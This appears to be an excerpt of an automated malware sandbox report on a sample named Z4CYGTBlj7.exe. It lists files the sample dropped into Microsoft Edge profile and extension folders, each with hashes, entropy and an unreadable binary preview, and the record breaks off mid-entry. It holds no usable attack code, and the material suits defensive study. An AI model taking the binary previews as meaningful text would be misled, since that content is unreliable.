Preview:	.f.5.O.,.[}7..\8..2.......@.p_:..a..q azzw.......k...M...~8....0hJ..'....`1.....]E..q.nwd.....y..&.][.[.....a...).j........$w..D......W._......V..bM..i.........k...y.L(l..z..K..^lu .v..6e..f.3yW.HC.u?.).../...\|....p..V.e.cMg........./..........<.R.....>}.u.0..$.k..,>}x..Q.O......].cX.O...p..FG2)....l~."Tq..G.4..:Y,.. 3#C....y......qwv0CdF..K...=.8.p.l.I...-...Eu..B..u.v.....3P.2?wt.2.C...Q..........kO.4K.(.A..F.p[.FM.v...j.#N.....!:.......?......z5.x`+3h...AG.....8.....W...uD.s.cM..s..B.r.nec.^..W<c.`_....G...$....]..>.c..H.-fa;...v......a.g.kz..A.-._.....f............y..=...y...:,vR...y....W.M^I.=3......:v...B ..&Hg.z..q..y..=w....$.....]@Z.M..pao.v\|.\|E..u..g......9.O;...G.......1'.....pn..1/.a..'._r.w\|.Z..-...0=...}....=I..K..........W.l....$....M.......?.n....k...S..B........K4Y.sr...GU.F....R<9j...!N......E.0.Q8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	655
Entropy (8bit):	7.622051434768265
Encrypted:	false
SSDEEP:	12:k1HPbptePi5ECUBQ8jDDcw/Ds9d6KIwHVmA16mEJLCS1vm1HrKEQscii9a:cHjpt150Q8/xs2A1ELCS1YesbD
MD5:	D04C777ABAE0623B8275CD0B0D93B349
SHA1:	E2C02BF0C08C33D529AD3860261636F3926C5362
SHA-256:	D75D25FB4E13D3F0CB7FAA09B39CD26700656A95B9A292926C59F2BB073A4DEE
SHA-512:	3D8FE8BC1349DA5ACEFE66EFEF6C41A8CD2B2A2DDAC9365BE1BF1DCFE32139F39E1AEF965A9B32FB5BD17E7201EF3408EF383A064D78021926A75A7FE28D1290
Malicious:	false
Preview:	2023/1..o..0.J.[.S...>.@.~...q.2Py.......M.ii...j.B;.X(.2...;j....T=_.%l..:....m....dV.?..R.D..g.W.F....p.;....-ANW1-...R.).bGv..0@....C..n.G.Y.PG=....d.o...U.,P......L.$...n..-.qF.W<"........_...'..-f...RJX...@S$.h..Hex3M..P...4.pp...g..B.l....n.(.........6K}..........X...Q...Z.p.HMo.....\|.:.............h.j....j..yl..qa..\".F.yj.....9.y..&......G#'U.iSS..@.b.m'.....K.3..~.`..u5s....."....{v.EfIr.3m[..........3..bW9..F;H...wJzg3S...H.ta9}._6#TSw.Z~..,.W..G7..7V_.>......3......")z........x4...l(,....0.O...A......b...........=l.6._..nM..%..8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\128.png

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5316
Entropy (8bit):	7.962724689672518
Encrypted:	false
SSDEEP:	96:+uWJeit8WwuQDN3k2yZAlsZ2hHvO6ncoB3HFgTJWccKiAJ+:f6eitBwTyOlsEhHvO6coZKTPv+
MD5:	0E9B6E3BCB4576BD47E116ECDB1C4A00
SHA1:	4CF2547BD68868D5BB935CB4F773153E62A55BFA
SHA-256:	6B6925B7917BE45AEC5BC7C548F05D7C120B58E5C46E54B4DF2234B4943628CF
SHA-512:	D947B3AE7F7F9DC1A79ED8C78738422B67E89076E3C43CCB63540FB6DDBB39685DEECA9017DF3AD295321151AF57EEEA1122CF99DA93EAC2671CB2997BD1AD35
Malicious:	false
Preview:	.PNG..J.........v0..oS.8..\|s.Q`...b.z.b.?TB.V.yi..D....a..=E......u2.$+.B...:.....>...W.y..7...Z....M.B2[.Kl.M.u..7.2...B...E.c.BjhF.?pL.[!3...].......mc..08..-.!.6 .a...8.f.c; ...C......l.....~.;.u...R..m)m..Q..]....#.......uJ...7e!~$..l..@.V\|n.../u..[.....:<...'../l.9tN.;Z+<.w....&Ft..(.....I-..-.l.qs......V?p.....%..?....#.......nA.9...r..y.............o.bz.....#..O ,..S.....ZN..+....G.B7G.....u{=q...y.:.../.&`....y.......s...t..H...R...........{1Y.3...p</.U..oe.f.<..2..#YY" ..."\}..{.k.:rKb..3.Bq.e..p..=&O...]=.jd.N..-.Z.W._.Y.. .>...(.........p ...i.)5t..I..ro.WH_Y<b.[.&.."f...=.o.&.z......\.f.>..3J...V..................B...`...L..F.......9.V=.R+...t.x...>.......U.(.$..tEY.hW..M".d..~....o.n<..3!.1....$.`...s...f.`a.Gv...'v{,qN.q.(.P;.y.iR...#....b~.j..P...P.....8.....7.O......y...G.7...V.......<..n...D....h....!..r.m..J....g..,.Yj..$z.F.0M.-....z{.t;.j.;E.'\...e....../... e:z.@.<.(...{.V... tb.Bd.2.m .M.....:.... .bT....E!N

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	18852
Entropy (8bit):	7.989908782802767
Encrypted:	false
SSDEEP:	384:ZFXZ9DDtxn9L7kXWi3UIipq/M1D0TGFDHaTob8L83D/Y:/LDDtfL4Wq/M1D0TM6TA8Y37Y
MD5:	7EBB282F33B3F1035EB6EB079D10DEEA
SHA1:	C87648965B982E1235A3E910FAB5A6D5401D9EB2
SHA-256:	6E935DFBEDE8BC3C41896E6ABF8D082F0C239625CA03F2B3E1F4D59B94462512
SHA-512:	DFB091EFC2A528AC47FF7536E6B60BD9C2F2FFEE3E06A94F53C56F36920D25E7362A2AC1AD8C4177ED4A48D7915D5A9915369DC5F84DC56BCA92DBFEB0CD554F
Malicious:	false
Preview:	[{"de[....wi[.wE.....G.E.(.~.R.A..]..U}.(.Yj..g.......l.<.n8.J'KD..#...zy.:`.s....R....)....f:...'.....P:..n~...6.j.f.....?Q.C........>...x.....^..1..u.K....6.}F..eq.e....V\.z..q-...a.'_!.y .C.}....2.`.i.....W...&}..b<......{;..:.r .....+.0..Fy..xg.sk.d...`.kL<..L..m.$.)>.^.X...mJ..~.l.t..s.m...0..[.....b.).B....#.%]J.[.,..C7g..Nw..k6,.(..}Q\N.#.xr8=.CZ.i..G......a.}.ALEyNb<S.....J.6.x(..{e.&:._x.....G.......n@.[-.~pN.....X...... ..1.Z.:.....*.~...{.m...U.Hc.nb.B`.......;...........{Vt....."..wJ).\%..4.EL......... >.l...U{.n.c.t.g..E.H.W0#.\|.?......#E...C.(........e.? .#"....c.....o.<j.f.w.....!..2.......1.}4L9...k..Z1.E3F....C.UX,.3B...~.:.f.w..H..e..)F.......+.2.W....:..fS]w....1.M..#.}._}:Q.....8\`;.T..6.....N.^"k2..1.SC.6....7we.G_..{...5C.R.YJ.P....(.i...[.....).Q.4..0..{M....AT....}N....1A.X..cOS!._..w"..E.o......2..K.G,\Nj=Q..HK..5....I.Qg.;.....rK...5.;7..R;...../n...p...D....@.......JT..eAe&.M.C)53......r5A...\.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\dasherSettingSchema.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1188
Entropy (8bit):	7.806331884596113
Encrypted:	false
SSDEEP:	24:74OxlJiXExGZYSdLxtL5QTmFaq5ZGUJNwXTscwGsbD:7tgXcADzQHIcWuwPGmD
MD5:	5895CA9C524CB8B4AE36CFCE6A906B32
SHA1:	AA01F86F90D696D85BDE8EEA99818D82DFEADA85
SHA-256:	40EFA5FF826F60FF01BA47C34568A53A96D9B675AE8AC71DA6E1887D72E76B8B
SHA-512:	2DCA313A8E4E2714A0C169A124E29485AA7B8BB732129930C190738DB53ADD117489CF44FC801328D0E8C39007B22C980B24C4DF78C5454D0107628481E6E48C
Malicious:	false
Preview:	{. "E.....7`.!T.....wR.eP8.....=s?.(&....6.K.x....c....+.^D....X.hn(......}7y.@,..>P.....r)KD.t\|..b.v_t..W...-../.xxa..Qm..&~....$go....a-8.......@.!......B.a.....55-".j.ML.{.=R..F...9D.xa.......x...hk...g.....B.F.[.tN0AI....7.....qc..Ui..PbXs.....j"..7.K..\|....c..V\|.m]..I:.E.6.e.R.....?>.D....r.y..X..7S.......!..........aP....I...E...\|J+..Y6....o.6..V.U...c{..!.......CE.{.U...."'lt. ...@.....!t..>.....&.Q(.......%..c.P.%.@F......0p.).nZo.RB..:g1+_lr.."f.......F......-.Usm.R%Acp....I.!{...G.o...pAX...a.[n..f$h!...........6...^...ek.4..vg..\..\|5.<.!..O..........Z.u.?&.'.+.A...9.(......#..z....\...F.....\..a.J....?.,....,.....t..8..U.#.ri..j.c.@.>.?..k.P.1....[..xD.1..YX.O..a.v....%.UL....l7I)...C<z...h.l..((...%w....4z~..,?..[[p'^.&h?8..-+t36........U0.I.<v....2x.o<.zC6.?<e..(..#...r.\|..+...m&...5..=O.yE..`u.....(.....c..H.MC..n. #......V..8A..I. .t\I..Usy...e@.9IL.4....w*m2.`.....`.........EB...q....^.Z.S7....\...(.....@V.........z.dA....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	80603
Entropy (8bit):	7.9979927777522235
Encrypted:	true
SSDEEP:	1536:g+UW82IcUxAAuH7NorwZPLc//1XVyB9/BYWs/FYV2RviYLimtPl4Q:hBUxAAuH+rwwF0Fs90MuEPl1
MD5:	530D1534018988CA79693DDE64A898AC
SHA1:	4374C9BD67D7B01703EF5D24BFCE8CE62D6D0526
SHA-256:	EB724F83549A43246BA0B59C80E4DEF2031CE52B17A5EA7863559C51B98A4164
SHA-512:	4F536A170665CC94A81C8B2BD93131CDC1618E8C439C9DA04600E6CDB783FEDB567294C2BAE7684B718761268CAC355ABCA4C79EC52482D92FBB0ACDDA3B3777
Malicious:	true
Preview:	/.. .F.....^;lp....3~DO..].&C.v^..{}.%P.....wmJ"i.......Qe#.......+.:...$B0N.R..m.}...$.....9.....(^<^b....O..q.;..\|..oo...o.^.1...?...V......f..+.1.5.e......\.Z7F.....q..,..&/GT.:/..W\.)....@=.4j..?a....%<..K.L...K..N...p.]...AI.y...oLoy.5.T..A..(..E....6...+C..)..t..WM..H..q.H_.;!...!..C{.Q...C.....!.<.v......N......`...!x.xnzi)........%!.%?H.&O ...R.{.SO...Qh~.Q.r...?2...b.....>l.T.......k.A.J../]....(l..z.../..h..s...k1......@....kl..\|.xAN.....(.HG..J..N....[..$....]T\[T)GM.1)-hRZ.r.hW..v....i..;...V..\|..1.].4i...hY..R.3.X..e..^.Z\|2..../....j.....a.`60.^e.ST..F...I..?...Q...M..^E..{].@.+..!..L./..........h......WM6.\....g....F"`.^.Su.ok...l}B.t.s..'qeg....j.7=.%..k.:.Z.0.ZN.D\|.......}."..NFm..n.h..'-......P9.B........(Tr.X,-.O.Gm.."....v..je~.&..Y.5.X..V....2R:U..y...<%q.\|.`...L.'......DPR_`\|$.r...[.._...h.......d..#.../.-`....#+..7..m.^.=...Q........d].[.t]?..s....`....>...$.^...F........w.4.R..1b.+..e..8.*.J...._..G.O..,.Q6\4

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2731
Entropy (8bit):	7.91667095063378
Encrypted:	false
SSDEEP:	48:98FE769mYetHoXAIWWF02MLavox4iEM4JbeE+MK4ikdsVG/6LmD:98d9Je2wXWO2kaQxuMTEyzVG/6L+
MD5:	7CDCC495049EABF0B1AFFD2EABBD97EE
SHA1:	B93999B5B5DCAAD76CB8959091D81EC2313E4A5B
SHA-256:	FEC6136AD0343D80F3F8E6F4465BFAFA96713EBC40940439DA7A4A7A8D4C4FD6
SHA-512:	0D367601C783D4359261B8F96D1F5234ED3F7CCCD421EAC3B70370FE24FE72A466A2B61F6EF6649C6FBBC28EB4F372EE13865800B757DD5AEEB0108209BED800
Malicious:	false
Preview:	{.. ..S...9....4....n.6S)..a.....i.....rf..-9...RQ.4._....~...........9.t.~ ;..Y....O%>..o...j):..... ..;.Un]....@..hj!..q....d.....g..CA)O......Y.IS....X"9..$2..@J8.B\|.v,..V..". .....0...9..5./.....lCG.4b.N.G..R.~?.....mv...X..7..'.K.\.{.?...8.t<7...7..h.r........n..O8A.L\|...6.u..Z...k..D....V.E....7)8...8N.,u.J..1..Os.!.......m."...d....`FQ...i.(....!@DF]e..m.K.X...m.xE....F...g.o......#....._..W}i;....N...:.+M.i..nnO...]^QP.fk...Y.....Q.y..2B.UahNx=.[7.\.2+?N..y.o.......~...58a(-....Vt`.[.....P.t4......,.M..s....Cl..>?...O.......7>V..&..b.#T6;..%_..xbN.../..F..f]3 ..G..pH...V....@...]./G...X$,]...YH.'7........Upv.br.M..c..b ._m...8w.....%..Q.^..LU....b..Q.....iPc...8....H.6.7.Q.+...?....mk]<hJ...F.).RR;f.i.)o.g../;)...f. Q\N+.mP...u..ah%Y.O.4. .K..h.B.5..`h.9..]D}.{..i.rs.v..vm.G?.....h....o.W.=.,_l..._9.......^..2.....]q..Q......c+.:...........!...H...p.,]3`t.jf..,....<.t...*XC.`R..Ql0..x(......'`T..g.t.{.5~.....l^y25.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\page_embed_script.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	625
Entropy (8bit):	7.608951742515274
Encrypted:	false
SSDEEP:	12:2nd2Kbxu8qqCAXGD6hFN6axiPQgOQt9IrWJafFfrbdIvaDaCGKQscii9a:2nd2KVu88AXU0FxsQgOQvIKJKFfrbSBs
MD5:	B352ED80EF6CE412362C136EBE926959
SHA1:	6F131A87024987D0EC2B1BD410355A96587D506E
SHA-256:	212C4A051D05EEAA0086BCE3C52D4E92C23BCFC4F4AA8AFE7A0CA8A85EB93A50
SHA-512:	7D1717346F78D5FBF51288F734C72B801FB74B919E0BFC4854CF5930F69286373D234F70BFFAC9D253CA3EFC48FB590A6AC2EDA576ADE6A92A6122C01D9C08AD
Malicious:	false
Preview:	(func.u.,.;..^....h...\|.....-.F...*.vv....d..x.....47..~....AhZ..u..F..._`.__;1$C.M.jI.......6..D...d.8..I.R>.k..3..J..^$...1 uE..L...UN.YC}....-(. ...a]g.!S.....c...!.lt.a.....b.A0.. ...]........g....H...u......{......a.@K8H...wI).5..E.n.x'W.Z.#...).\|....X.do.......N^.ry.\e.5.;E)J..b9(...<lUZ..EB.........Zd.r.m.$s@Ay..3....)8.y.t&.{iM.......[E...G{......<.aX.Q...w....X&..........t{...;.U...O..........p.`.?A.....~x.@..b.......#K......(5..^^VR.y;C(..%}...X..>..{...H. ..7........R.B.`x.H.1....fB.)....<S..J..7.?.Q}F..&(6B..k`.i.8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\_metadata\computed_hashes.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	763
Entropy (8bit):	7.726879154708648
Encrypted:	false
SSDEEP:	12:YgQorHm6knwB5FcprtkUenGLeIbUxS9Zztij8yZz2D3LTvKprpuAMaHAYclU4jJc:Yow+ertkFiUuztiAyZzY3LTvapuAtALw
MD5:	BCDD3E414490234A9473B628B4B16E90
SHA1:	0523F86676DB6259578AD1D8ACD4C97313A86C4A
SHA-256:	A64ADBE9E9E40AA400052D0B00EE3A4D74E108074D8E91393555654FC37FD67F
SHA-512:	8D6C14F6537AA6AF382510F019212009E8355029173CF0528E23276B605E715F7C6FF805A576B755979FA3B8D64DD7101972ED51032AB10468FEC56D73CD239B
Malicious:	false
Preview:	{"fil.9.d3..Y.w.{).JF...MI..../..Z.%.1.p..h....`...+..3% ...A+.M..=.V4....j....D.qR.T..h...p8....'...$.&@..Ba.......H..d...S?....:..4..~....f9(...@..'C .m.....d..$...x.'.FJ..U}....~.&@.....d#.{E.)U...\r........[]..`.3pi...X.T.. ..b_.7.W.C..mp....Hn.9. ..M..r.....M....M=o.....l..D..G.V.r6P..v...[.5.])...R...=$..=.C.....z'#....[-....Q.$....+].?....x@.h..@y.iX.^...+..}.X....J.".a7..r...#Bo./...S.R.:...5.W\|.Flb...ev{.,..~........OMs#.._...5.`.....K.Y...^..".......FZ6VU......}H....)1......n....q.APT.Z.B.S../D..6G........R.<x...%..es).h..%..?.j......hTC........s....q..I"...D...U.rz...S.......`..J.....]H..8./vn0.n^ca....KcE...q^r.@4w..V.l....08Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\_metadata\verified_contents.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2087
Entropy (8bit):	7.914181324420055
Encrypted:	false
SSDEEP:	48:1+d59Fycv/Mz4tl9605CpRHCPV4/9SOuO3mD:kr9FyU0z6l9605CbHCPVO8W3+
MD5:	06250463BDB1A3E42BF60E1D60516196
SHA1:	ECBC3E5181E7867C11BE2126E8CACCA54CEECA3B
SHA-256:	43D2B061C666F0617237F2AA8621A5CAE91A48DB7B293AFC449E5F5D75360688
SHA-512:	249EE21728FD87A79B8D57FFE297538F0446DFB3B7E7D40D5A8F1BB8FE7AD98627F2ADD4F8695B94FDB67C402EE8ADD02DC4085465225FC123E73CA830146EA4
Malicious:	false
Preview:	[.. .4.Sc~8...TI..yKI.U5..ndm..tx.......~>..3.$a......F.{O.?...D..[..8..P"l..o#<k....5..-....\.....p^Rh...6......~&z.Fu..z.0?1...}.1w....@!..o...n."Q..D..........C...Qvy\.....P5.:c.(T%Z.<hP..}.h.Xc..7.l{....}..&........N.5..5..u'yM^^.:H...f.. ./.$..0..j.H.2U....A....+'....U...................A-7H...l......T.....C-.rO....?9Q..jf..'c?5$`.'...p.z..`.!..O.[.....U=.A...]"s...HQ..)Y...#%..6A_.\|aZ}F..R.(.)..&....N.,...N...]...@(\PlQ....a....+2..(.@.rw...e.i..[.)CW[.Wm.......e.$.\....?...K8(y.;.uZ../......}..w.Ql....~.n..8xd...f-.t.7../...p'..?..n.V.....).Sz%..h.Q.iy.'.E........'...pu."'...xj...E.E.HgX!...\..'7.8........z.....=,....qw..f..Zb.....n.H.f....%.9%.D...Tf...5(...5..{..c.5...q_..a..M.i..(..e4.,@..N.m..b@I......."\y.F..H..h..'}.!7D)j.]....i"V...n..c....R.n.QL,2..."..d.^4.......Rtt..0...q....c.....G..,.............1........L<...j.....(A..bV.9.........=..a...(...j.2..dtQ....4..v..\...d<I.@&.$.yG........=w.&.3..,......E..R.`..I.T?<1.....Y..6s9

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	9751
Entropy (8bit):	7.982310998666768
Encrypted:	false
SSDEEP:	192:xY/EmUspTUIzKbq8JGTXNYteqPuEVQZ6yye/DDZaZYI+:q/lUspTsHQsuEVQ8re/Dd88
MD5:	2EF20FF7B9DD7B2E468AD99E19FE34D6
SHA1:	E19AECBC8A9FBC4381CDA8B6277D260F1EEDF3CA
SHA-256:	E2F1855F792D538B67569A59BE496F82183E320DC7BEDD235131F65F7868ACC7
SHA-512:	BB04374CC6C00126E759E3A773937DA3E52ADE254438F7B3A26C76AE3A7E0573006628BBE8C569A2EFE280B9120924168AF27247F33E3744A3CE148FB61147F6
Malicious:	false
Preview:	(()=>Q.m.>o...L....8..,Q..'M..#.....f.....g(`D...dDH.Ida..:.$,...[.[8.[Q:..:....l.......>.~N...[........<H2M..~.=!U..p}.........2V\f_..MB......0,..v{.......S...o..p.\`.......Y.]ha...j.I..\..q.`...?..U.g.Z5f]..ym.4..f.....>d...\|.Ti.l}.T.....2.......y.+....4..<.;....9...U...j.w.....~l.r.`..`...>X..q.m....\|.gC...i..v...:..^.6....#.M\|......-......A.G7..........2...r.8]im.#.T.\|`.<.a7.....A3.:V../.......K.kspI.......~.U.i...S..R..&..../....)...Y....,.u.....+..@l.?R.-..=V...........%.._...H...[.u&...-....W%$..B.C.T..~..F}.P..6iKp.X.g.U..<.9....S..]..7C..0..ljY,k.LuLs.s,.h"..i..&.l.g.Vc...GpQ....y.[Q....{...?.z.<@..6N.....>KURw...v.{.#-.K.......#..{.`f3...Dd...eQ;.R...ubK..P.W;_....6...-.{.B.` o@$....s.MK..7K.......w.@......n?.<...j..ty...s.._.5'nu .Y.e.%)7k.:......Ka..JNl.~..?A...X..d.<.<.....K..F............b...+:.Rk..IeX.W-..y.M.7...n..\jdq-..)....t.<.'m.5.%..K.....J..!k....)r.%........IO..k:..%...KO...Q....-.C..Q.XE...N.6..Y.0...#!..#.[..>.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\content_new.js

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	10104
Entropy (8bit):	7.981787767403024
Encrypted:	false
SSDEEP:	192:tTnxS1gqIkEqSgKvksRyc1/CoQfpR5C73S+ZojW8HlhQU8/EWakiUvFGp+:tTxJqqgKvRyQ0xjOL8FAEE3F3
MD5:	3D8DFA50E8E9B822B2B577AC5E54AB6C
SHA1:	7259238873CD96FC395585D56C3A7FEF91824EF9
SHA-256:	20AE3EE8D77E4D8B33F0B6A0863AE387D7011969B20F21CB2E5A1AC365A5FC92
SHA-512:	764A6E91034D4BBCFE349266C1FD3D67BFFB5C73F731DFD2032F17BEAF0B83B9BD1C7BB34732D50A17AF53EA903EB076CC6354B22DE4D354BEB2733389BA23B8
Malicious:	false
Preview:	(()=>jMg.o..P.w2....<....;..C....".P...>a=xO..."..]bI$ZK.,..j.e.g.J...g+.\.s..~..{.S&.E`...K...7.x.p..,....D.}..X.\|L..\|.o.x.;.......".....^\|..n.........-.kh......>..6.5\2N=.....6...K..[..L..A_Q.gpq..Sf.D@...O...(.W!p.a.[.....6.w..>sa.)...2&....g..S..v..vO..@.m..".U.P#..(.&....:...u...2,..`[..gv.S=e).e.9...[.]+q.:....a:.o.Z_..S..2,....]..O{L.[.$.....o.F..!.R...t..mj...x.NMM..~).M...qN.V]...0..(......s6!...&"...+[`..._.z...X.:C.GR5...z.D0{..._~.....n......""?..2...6.=.G.AZ.._.n.s+.D.......d:..r..D.jh.\|`#..p..F.A.. ..K}mA..@.FU.:..=.\..a61:.W.#.. Q...i.d..M..x....z...*..b(70lgmr.....!o..[^q.vO... .D.s..j..a\1"%Pj.Pl....m#....(.<B.D.4.Y...\..D.<..z...`.....(..M.v.4..P:...#......=N.]....'._.~.1_.\J..Xm&......'..?.....t8.......6..b.`.L.....9H.:.q..........,..Vg.z..V].$D..P.D....Z......s...J.Ad..].....B.3.ZM...A}1+..f..R:wh.._.o.................a.....n..)5V.%.........Y.Di....n.X......J6.2P.&.h).......g.!.S.R.N..;.%Y\|h.v.}....XZ

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.0_0\manifest.json

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1296
Entropy (8bit):	7.860686505293215
Encrypted:	false
SSDEEP:	24:+sV+H2JDtG2dbFs5RlHRexaiDiYKtGnGYUkNvrIlBS+b2fjsbD:7V+qD42gYJDiDiGWvrAEnjmD
MD5:	E9C80CB04894A9D95EF3E2A7515D670C
SHA1:	9722DA22A926B533DAAE3AD65F07690C1EDDA702
SHA-256:	94D9095E8318963E179E5BF824C89B78486674A2AD44D284ACC5E3540FFBAAF3
SHA-512:	20043E9CF904265DDCF258FB151ACF78F8B7FEE5579F0248AB38B7A1B48C7DA271E41BDD8EA5024AE01292E5538C1C96DEC4FE4FBF13086A1553B0F4A9F9D64E
Malicious:	false
Preview:	{.. .~.....!U...J.V.u......$Bk.G..v.....=g..r.......2g.................../.(.V.:&...py.y....O.o .(...1...e......yN=n2....X.L.UQ..!>..D.%..xH...n..H...........d0...'...`..^.#(u..O.;....6.P.H.~..z;.V.R.....H...j.........-.H[.4.\|.Z.....s.0........X..g.u.>X...P...<.z...'.72.O,Q......Ov.2......K8.#........k......k@..._....Z .JbH.../.^].?G..........Z....\.O~.v].o.[....:.\|.....q.>`.................R....a%W.G9..v..P.[m...R...F.wn..........,..}O..r^..w.o.....:.s..}.....L..f..?_.)..,...)......<<G...K\|..G,.6...0.3!.~X...g.T..%.....>.P..J...:5.....Qas.-...+.a.A7.tR3.p..!..K^ ..\|..-0.....^..P.c+./..'.8:.IM."QD%..jV?.T".=....st:.Y.i..9....@.b..g...R..gy9...23....3.#.1......b7...y...........W...0p..LM..Zg......qP..n....c...r...jA..Q.m..vB.'r.....o..n..I\......I.{..n..j.oS..B8v...V....G..3..XW...Y..<...<.zt..<.".m.S?..+z.m.c.r...!(. .q..?.....H.9.';.. ..d..k9L...LD..H@..U>.tl.....!B.}..T?.>+Zzz...-.v....E(..cz.R)...%...)<...g.+.h..k..>e...8et..#..R6..c.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	452
Entropy (8bit):	7.494710546708672
Encrypted:	false
SSDEEP:	12:Saqs6kxgNQllTioBZqgWKPHE2rhJklBd269/ZS3lmORpT7NQscii9a:pqUmN1AbWak2DQBd28xA0OH7CsbD
MD5:	8D5DEA79DC9D89C4DEDA05C244B7BFCF
SHA1:	875AECEA238B159CF624338CEDC2AE484ABD698B
SHA-256:	C80D3D32F45DDF9E65B93ACF84283F322536501A80E95FEFDBC42A66AA41FA3E
SHA-512:	10C3A5410C43FB484E7F6BA4A4A1FB4363792337EC590258C18155387D288D0D8B80A9FD08BCEC55DD2923BA109818EF302BA9FE8FA221823CC9E30DA4398C28
Malicious:	false
Preview:	...#t.....B.d$..ys.........x.;.qM.I...D.'.j..FH..-q..S.j8....u...S.........b..(....u.r...E....._.e..6/.#.....o9..1.n..3..m......RZ...O...FE......g............3_.cz....E.e.N.....~..%S.j.\|.N......&K....S.<...Lc.&.6...\|."....3g....5........C..T.PZ...Y.V.n......?..ll.T[S....qs.Q.1..mb.....f\N+....~.<\|..t15.N..l......`.w....f.&..&..p.P..d0.!.....`..).#_O.J8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	374
Entropy (8bit):	7.301730583258104
Encrypted:	false
SSDEEP:	6:BqM0vJoVQLIGxfkDEPxGyZw5nvd+puvbpMegeTnGznqsaLJtvPdUQW3cii96Z:BsviLoMDEPgyi51CuvlvgeTnGzqsaHuR
MD5:	13C904DD0F20D975303641D8D80094AC
SHA1:	9D79C99EACBF79C0B68DD9C52748EA8CBF8E6C85
SHA-256:	9C2EC41A019B5D7420AF5763E2A73D02D69DEBA319A8DB3B62DC3012DB4F22CE
SHA-512:	2604FA45AB3CBA74C720D9BF38A0284E9E752DB9BEBF73916D1B8196579EB114741DA64061DE52784E8F780E2237CB10A220DAE2A74F2135B09A03172FCA31DD
Malicious:	false
Preview:	.On.!..@..K..9...p6...A....f..0....k.k...qpQ...((.3R.mx..]3...m1...h...?g..1.........pI.n.....P.D...R.5...h<.y...ST^g...i...r.~F-&.U............(..J..g?.y.....C.{h..L.z[.O...+?G.Ty...5..B.r...AN...#o.....->....1...w..\...h.....-...9...[%....{J...\|q..(..a.m...pW....K....0/o...........8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	683
Entropy (8bit):	7.6596870540680255
Encrypted:	false
